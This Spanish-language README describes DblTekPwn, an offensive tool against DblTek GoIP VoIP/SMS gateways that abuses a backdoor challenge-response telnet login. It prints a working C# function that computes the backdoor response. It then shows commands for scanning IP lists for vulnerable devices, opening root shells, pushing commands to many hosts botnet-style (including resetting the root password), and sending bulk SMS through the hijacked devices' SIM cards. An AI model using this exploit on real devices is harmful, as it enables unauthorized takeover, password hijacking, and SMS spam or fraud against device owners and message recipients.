
Herramienta para verificar si una IP de un DblTek GoIP es vulnerable a un sistema de inicio de sesión de desafío-respuesta, enviar mensajes SMS desde el sistema, ejecutar comandos remotos al estilo botnet y generar respuestas a desafíos.
Herramienta para explotar el sistema de desafío-respuesta en dispositivos DblTek GoIP vulnerables. Puede generar respuestas a desafíos específicos, probar hosts para la vulnerabilidad, ejecutar comandos en hosts vulnerables, enviar mensajes SMS desde un host y acceder a un shell root en cualquier host vulnerable.
El 2 de marzo de 2017, Trustwave publicó una vulnerabilidad que investigadores de seguridad encontraron en el teléfono VoIP DblTek GoIP. La vulnerabilidad era una puerta trasera en el firmware para una cuenta llamada 'dbladm'. Cuando un usuario ingresaba esto como nombre de usuario en un prompt de telnet, el sistema presentaba un desafío que, al ser respondido correctamente, otorgaba al usuario un shell root en el sistema.
El problema con un sistema de desafío-respuesta como este es que los dispositivos son tan seguros como el algoritmo para generar las respuestas, el cual fue sometido a ingeniería inversa a partir de binarios de firmware proporcionados por DblTek. Usando este algoritmo, se puede obtener un shell root en CUALQUIER dispositivo DblTek GoIP.
Artículo original: https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/
Usando la descripción de la puerta trasera proporcionada en el artículo, pude escribir lo que creo que es uno de los primeros códigos de explotación para esta vulnerabilidad. El núcleo de esto es, por supuesto, el algoritmo para generar la respuesta basada en un desafío dado. Aquí hay una función para hacer esto escrita en C#.
static string ComputeResponse(string challengeStr)
{
int challenge = Convert.ToInt32(challengeStr.Substring(1)); // Get just the number after 'N'.
string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // Perform some dummy 1337 operations.
byte[] buffer = new byte[64];
// Copy the string into the first part of the buffer.
for (int i = 0; i < modified.Length; i++)
buffer[i] = (byte)modified[i];
var md5 = MD5.Create();
byte[] hash = md5.ComputeHash(buffer); // Calculate the MD5 of the buffer.
StringBuilder sb = new StringBuilder(); // Will hold the results.
// Take the unpadded hex value of the first six bytes of the MD5.
for (int i = 0; i < 6; i++)
sb.Append(hash[i].ToString("x"));
return sb.ToString(); // Profit
}
Cuando DblTekPwn se ejecuta sin argumentos, se muestra la ayuda. Esta es la salida:
USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]
[MODE]:
-c --compute-response [CHALLENGE] Computes a response to the given challenge.
-r --root-shell Starts a root shell with the vulnerable host.
-s --send-commands [COMMAND_FILE] Sends commands from a file to vulnerable hosts.
-t --test Tests hosts and determines if they are vulnerable.
-h --help Displays this help and exits.
[HOSTS]:
-n --name [IP] Specifies a single IP address.
-f --file [IP_FILE] Specifies a file with IP\nIP\nIP.
[OUTPUT]:
-o --output [OUTPUT_FILE] Specifies an output file. Default stdin.
DblTekGoIPPwn facilita la obtención de un shell root en cualquier sistema vulnerable. Simplemente ejecute el siguiente comando usando la IP vulnerable.
DblTekPwn.exe --root-shell --name 192.168.1.1
Verá una salida similar a esta:
Password: ***********
Desde aquí puede comenzar a ingresar comandos (no hay prompt de shell).
Supongamos que desea calcular la respuesta a un desafío GoIP N1746203308. Simplemente ejecute el siguiente comando.
DblTekPwn --compute-response N1746203308
La salida será la respuesta:
d6176d3aab2
Supongamos que desea verificar list.txt de IPs para encontrar GoIPs vulnerables y enviar esta salida a results.txt. Primero asegúrese de que las IPs estén en el formato ip:puerto (el puerto por defecto es 23) y que las IPs estén separadas por un salto de línea \n. Luego se puede ejecutar el siguiente comando.
DblTekPwn.exe --test --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
El False o True después del host indica si la IP es vulnerable o no.
Supongamos que tiene una lista de comandos (que en realidad es una lista de entradas telnet) en cmds.txt para enviar a list.txt de IPs y enviar la salida a results.txt. Primero asegúrese de que las IPs estén en el formato ip:puerto (el puerto por defecto es 23) y que TANTO las IPs como los comandos estén separados por un salto de línea \n en sus respectivos archivos. Luego se puede ejecutar el siguiente comando.
DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
cmds.txt:
passwd root
toor
toor
exit
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
El False o True después del host indica si la conexión se realizó con éxito y los comandos fueron entregados.
El código en este repositorio de GitHub proporciona una abstracción para enviar mensajes SMS (texto) desde un GoIP hackeado. Para usar este código, incluya DblTekPwn.exe en su aplicación y agregue la siguiente declaración using.
using DblTekPwn.SMS
Ahora en su código puede usar el método estático SmsSender.SendSms. Aquí hay algunos ejemplos.
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hello, World!";
SmsSender.SendSms(goIP, 23, nums, msg);
La mayoría de los GoIPs tienen hasta 32 tarjetas SIM integradas, lo que permite al atacante enviar mensajes SMS desde todas estas líneas.
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hai";
int numbers = 15;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);
strings[] nums = new string[] { "18005551234", "18005554321", "18005551337" };
string goIP = "192.168.1.3";
string msg = "We are legion";
int numbers = 32;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);